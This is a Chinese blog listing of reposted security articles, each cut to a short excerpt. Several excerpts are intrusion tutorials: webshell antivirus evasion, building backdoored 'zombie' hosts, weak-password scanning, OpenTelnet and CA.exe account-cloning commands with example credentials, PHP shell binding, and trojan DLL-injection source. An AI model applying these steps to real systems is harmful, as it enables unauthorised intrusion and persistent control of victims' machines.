ITPub博客

网络安全中的“重头戏”脚本攻击技术(转)[@more@]　　脚本攻击在网络安全中永远是个“重头戏”，由此产生的各种攻击性脚本如vbs/js脚本，各种webshell 尤其是webshell是web入侵中必不可少的工具。现在的webshell版本繁多，功能越来越强，这也成为管理员防范和各大杀毒软件追杀的目标。　　下面我以asp的webshell为例子简单说下脚本的变形思路：　　1.classid的使用　　aspshell里的常用的对象名往往是杀毒软件采用的特征码，管理员也可以通过修改注册表，来改变asp对象的名称，但是没个asp对象在系统里有个规定的classid（ps：classid在各

调试工具TRW2000,VB符号调试初步(转)[@more@]　　我们都知道softice支持符号调试。而很少了解TRW2000也具有自动载入sym符号文件供调试的作用。　　为了对Visual Basic 6进行符号调试，首先需要得到msvbvm60.dll及相对应的msvbvm60.dbg调试文件，这些可以从microsoft网站的VB6 SP5升级包中得到。　　在你安装softice的目录Util16下，有2个程序：Dbg2map及msym.exe　　dos窗口下命令　　c:..softiceutil16> dbg2map.exe msvbvm60.dbg　　生成msvbvm60.map文件　　c:..softiceutil16> msym.exe　　msvbvm60.map　　生成msvbvm60.sym文件

目标主机操作系统识别技术分析(转)[@more@]　　普遍的入侵行为需要进行端口扫描，这是多数“黑客”的熟练技巧。大多数的端口扫描就是让我们能够达到这样的目的：　　1、让我们能够大致判断目标是什么操作系统　　2、目标到底在运行些什么服务　　当然，要扫描得到这些东西还是最后为了让我们能够知道哪些可能拿来利用，可能存在的漏洞，对目标主机的操作系统类型识别，更能够方便地让我们去利用操作系统对应的漏洞实施攻击。很多工具提供的扫描也可能就直接得到什么操作系统了，或者相对应的端口使用的是什么程序，程序是什么版本的等等。

把NT“赶尽杀绝”攻击NT的一些技术(转)[@more@]　　网络时代已悄然而至，大量的Unix安全问题已被发现，但是很少有适用于NT的。这篇文章将带领你熟悉被广泛使用的Windows NT的一些漏洞。　　对于下面将要涉及的内容，你必须了解以下一些约定……　　www.******.com =你将要检测漏洞的服务器。记住，当我说到别的测试资料时，你应该理解。　　这些技术并没有特定的顺序，我只是想到哪儿说到哪儿罢了。　　它是NT服务器吗？　　你可以这样判断一个服务器是不是nt……　　1. Telnet远程登录到它的21号端口（ftp）,看它是不是显示nt信息。　　2

菜鸟俱乐部之简单肉鸡制作大放送(转)[@more@]　　一.前言..　　后门制作对于成功入侵后保持权限有很重要的意义,本文介绍简单的实用后门的制作技术,以及如何制作一台肉鸡.(哈哈哈~不要变成坏孩子哦!)　　二.准备..　　首先我们需要1.sunx 2.solaris远程溢出程序 3.wipe　　三.过程..　　#id　　uid=0 (root) gid=0 (root) (哈哈哈哈~~成功拿到root)　　#vi sunx.c　　……　　……　　:w　　:q (保存退出vi)　　#gcc -o sunx sunx.c　　: command not found (昏~where is gcc)　　哈哈~一般solaris主机默认没有gcc,但是管理员通常会在/usr/

黑客技术大放送，欺骗IP攻击的追踪(转)[@more@]　　实际配置中的关键是对网络中的路由器作出修改，以便让这个机制能有效地实施，可以是新增配置，也可以是同现有的基础结构的向后兼容。我们描述一种追踪规则，只需要一点或者不需要路由器的临界向前路径，可以增加配置允许在子网路由器内追踪，来支持我们的设计。更进一步，我们要论证我们能通过这种方法得到重要的路径信息，并且不影响现有路由器、主机系统和通常的流量。　　在1985年的论文中，Morris指出："The weakness in this scheme[the Internet Protocol] is that the source hos

典型攻击之渗透攻击必用命令与步骤(转)[@more@]　　假设想攻击的主机IP是:61.139.1.79　　同一子网下我们已有权限的主机IP是:61.139.1.88并可以3389登陆　　第一步:　　tracert 61.139.1.1　　C:WIN2000system32>tracert 61.139.1.1　　Tracing route to HACK-4FJ7EARC [61.139.1.1]　　over a maximum of 30 hops:　　1 <10 ms <10 ms <10 ms HACK-4FJ7EARC [61.139.1.1]　　Trace complete.　　这就说明了你想攻击的主机和你所在的主机在一个关网中那么就有可能　　进行ARPSNIFFER了　　第二步:看本机IP设置和网卡情况　　C

克隆admin！CA.EXE使黑客成为超级用户(转)[@more@]　　利用SA.exe 将Iusr_victim克隆为Administrator。　　C:>ca 192.168.0.1 test test iusr_victim password　　Clone Administrator, by netXeyes 2002/04/06　　Written by netXeyes 2002, dansnow@21cn.com　　Connect 192.168.0.1 ....OK　　Get SID of iusr_victim ....OK　　Prepairing ....OK　　Processing ....OK　　Clean Up ....OK　　这时，iusr_victim就成为了超级用户，并有具有和Administrator同样的设置(桌面、菜单等等）。　　注：在ca 192.168.0.1 test test iusr

黑客大学堂：你看的懂的肉鸡制作步骤(转)[@more@]　　第一步：扫描弱口令　　这里我用20cn开发的scanipc　　　　不一会就会扫到很多有弱口令的主机(就我的经验在教育网上这样的主机比较多)　　第二步：连接刚扫的肉鸡　　这里我用opentelnet给扫描到开了空口令的主机开个端口让我们telnet连接上去　　,开了23端口，并可以连接上的主机就不用进行次步骤了!　　Opentelnet使用方法:　　OpenTelnet.exe server <帐号> <密码>　　列如:　　C:>OpenTelnet.exe 192.168.1.2 administrator 123456 1 90 用户名：administrator 密

远程登陆在专业版下开3389的方法大全(转)[@more@]　　在win2000 Professional版中安装3389终端服务　　众所周知windows2000 profassional并不支持3389终端服务，所以我们如果发现得到管理员密码的肉机是此版本，只能放弃安装终端服务的念头。但是现在我们已经可以在profassional版中安装终端服务了！　　方法如下：　　1. 将profassional版改变为server版　　2. 安装终端服务　　关于安装终端服务的细节网络中已经有许多优秀的文章，这里不再重复。　　下边就说说如何将profassional版改变为server版：　　原理：其实windows 2000的各个版

防下载网站文件后缀被改为asp的安全隐患(转)[@more@]　　可能是随着网络安全技术的发展吧，管理员的素质都在提高，在使用access+asp系统时，为不数据库被人下载，到把mdb改为asp或asa.先不说直接改后缀，直接可以用网快等工具直接下载，其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell.　　一。思路　　大家都知道<％%>为asp文件的标志符，也就是说一个asp文件只会去执行之间的代码，access＋asp的web系统的所有数据都是存放在数据库文件里（mdb文件），由于管理者把mdb文件改为了asp文件

透析黑客攻击技术之渗透防火墙的Shellcode(转)[@more@]　　内容摘要　　1. 远程shellcode的几种实现方式　　2. 复用当前连接技术的一些问题及优势　　3. Win32平台的具体实现　　4. Linux x86平台的具体实现　　5. AIX PowerPC平台的具体实现　　实现方式简介　　1. 远程shellcode的几种实现方式　　1.1 监听端口　　1.1.1 监听新的端口　　1.1.2 重新使用原端口　　1.1.2.1 端口复用　　1.1.2.2 重新绑定　　1.2 反向连接　　1.3 复用当前连接的SOCKET　　1.3.1 IIS的ECB结构　　1.3.2 getpeername　　1.3.3 fcntl设置socket状态　　1.3.

构建Linux下的安全，PHP配置漏洞攻击(转)[@more@]　　这些站点的问题主要出在允许使用system(),exec()等等这些函数,熟悉php的朋友应该知道,这些函数是调用系统指令的(虽然通过web server php程序只能有nobody权限),而且一般用户只要申请一个空间就可以获取局部的可写权限,令用户可以写一个web shell程序执行命令.在这些服务器上一般用户不能够登陆,也就是nologin(没有登陆shell,管理员可没那么"慷慨"!),这样利用system(),exec()这些函数就可以bind一个shell出来~!本文以虎翼网(www.51.net)的空间为例子(他是不是所有的服务器都有这个毛病我

WEB开发之提升JSP应用程序的七大绝招(转)[@more@]　　你时常被客户抱怨JSP页面响应速度很慢吗？你想过当客户访问次数剧增时，你的WEB应用能承受日益增加的访问量吗？本文讲述了调整JSP和servlet的一些非常实用的方法，它可使你的servlet和JSP页面响应更快，扩展性更强。而且在用户数增加的情况下，系统负载会呈现出平滑上长的趋势。在本文中，我将通过一些实际例子和配置方法使得你的应用程序的性能有出人意料的提升。其中，某些调优技术是在你的编程工作中实现的。而另一些技术是与应用服务器的配置相关的。在本文中，我们将详细地描述怎

写木马的经典，dll插入系统进程的源码(转)[@more@]　　代码不全，这是涉及主要的部分！有详细的注释　　里面有涉及普通常用且又重要的编程思路！　　/*---------------------------------------------------------------------　　//mysvr.c　　//Coder: sjdf　　//E-mail: sjdf1@163.com　　//Create date: 2002.8.11　　//Last modify date: 2003.10.28　　//Test platform: Win2000 Adv Server + sp4　　---------------------------------------------------------------------*/　　//Header　　#include "bkdlldata.h"　　#include

让数据库更安全，Mysql自动备份脚本(转)[@more@]　　可以将这个脚本放进crontab，每天凌晨执行一次，自动备份　　这个脚本每天最多只执行一次，而且只保留最近五天的备份在服务器上。　　代码:　　#!/bin/bash　　#This is a ShellScript For Auto DB Backup　　#Powered by aspbiz　　#2004-09　　#Setting　　#设置数据库名，数据库登录名，密码，备份路径，日志路径，数据文件位置，以及备份方式　　#默认情况下备份方式是tar，还可以是mysqldump,mysqldotcopy　　#默认情况下，用root(空)登录mysql数据库，备份至/root/dbxxxxx.tgz　　

Win2K下关联进程/端口之代码初步分析(转)[@more@]　　经常见到网友问：如何才能关联我的进程和端口呀？没错，关联进程和端口是一个非常有用的功能，你可以清楚地知道哪些程序在使用哪些端口，对于查杀木马很有帮助。可是我们虽然可以使用任务管理器浏览进程列表，使用Netstat查看端口的使用状况，却没有一个命令可以直接关联进程和端口（WinXP上增加了新的NetStat功能，支持直接查看端口进程状况），今年年初的时候，国外出了一个有名的软件Fport，它可以显示当前所有的端口及他们所属的进程，可是，这个软件并没有公开源代码，（太不符合

Win2000动态DNS的安全应用策略(转)[@more@]　　Windows2000 域名解析是基于动态DNS，动态DNS的实现是基于RFC 2136基础上的。在Windows 2000下，动态DNS是与DHCP、WINS及活动目录（AD）集成在一起的。在Windows 2000的域下有三种实现DNS的方法：与活动目录集成、与活动目录集成的主DNS及不与活动目录集成的辅助DNS、不与活动目录集成的主DNS及不与活动目录集成的辅助DNS。当DNS完成集成到活动目录中后，我们可以利用Windows2000网络中的三个重要安全特性：安全动态更新、安全区域传输、对区域和资源记录的访问控制列表。　　　　一、安全动

保卫校园网络安全的五个必备策略(转)[@more@]　　校园网的安全威胁既有来自校内的，也有来自校外的，只有将技术和管理都重视起来，才能切实构筑一个安全的校园网。　　　　国内高校校园网的安全问题有其历史原因：在以前的网络时期，一方面因为意识与资金方面的原因，以及对技术的偏好和运营意识的不足，普遍都存在“重技术、轻安全、轻管理”的倾向，常常只是在内部网与互联网之间放一个防火墙就万事大吉，有些学校甚至直接连接互联网，这就给病毒、黑客提供了充分施展身手的空间。而病毒泛滥、黑客攻击、信息丢失、服务被拒绝等等，这些

安全设置Windows组策略有效阻止黑客(转)[@more@]　　在本篇技术指南中，将概要介绍你如何修改最重要的组策略安全设置。　　　　你可以在采用Windows XP、2000和Server 2003操作系统的本地计算机上使用这些方法，或者在Server 2003和2000中的OU域名级上使用这些方法。为了简明扼要和提供最新的信息，我准备介绍一下如何设置基于Windows Server 2003的域名。请记住，这些只是你在你的域名中能够设置的组策略对象中最有可能出现问题的。按照我的观点，这些设置可以保持或者破坏Windows的安全。而且由于设置的不同，你的进展也不同。因此，我鼓